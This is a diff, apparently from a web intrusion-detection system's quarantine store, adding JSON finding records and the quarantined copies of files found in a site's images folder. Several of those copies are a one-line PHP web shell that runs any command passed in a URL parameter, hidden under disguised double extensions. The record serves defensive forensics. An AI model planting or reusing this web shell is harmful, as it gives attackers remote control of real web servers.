"original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783841982,
|
||||||
|
"size": 45,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/_h3x_6h0804r6.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "h3x_hsojrm";system($_GET["c"]);?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5213",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_6h0804r6.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.php5.json)",
|
||||||
|
"original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783841984,
|
||||||
|
"size": 45,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/_h3x_6h0804r6.php5.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "h3x_hsojrm";system($_GET["c"]);?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5169",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_6h0804r6.pht.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.pht.json)",
|
||||||
|
"original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783841984,
|
||||||
|
"size": 45,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/_h3x_6h0804r6.pht.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "h3x_hsojrm";system($_GET["c"]);?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5177",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_6h0804r6.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_6h0804r6.phtml.json)",
|
||||||
|
"original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783841984,
|
||||||
|
"size": 45,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/_h3x_6h0804r6.phtml.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "h3x_rwxfzw";system($_GET["c"]);?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5166",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_ajhdpqok.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php.json)",
|
||||||
|
"original_sha256": "537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783744942,
|
||||||
|
"size": 45,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/_h3x_ajhdpqok.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "h3x_rwxfzw";system($_GET["c"]);?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5178",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:images/_h3x_ajhdpqok.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/images/_h3x_ajhdpqok.php5.json)",
|
||||||
|
"original_sha256": "537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783744944,
|
||||||
|
"size": 45,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/_h3x_ajhdpqok.php5.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user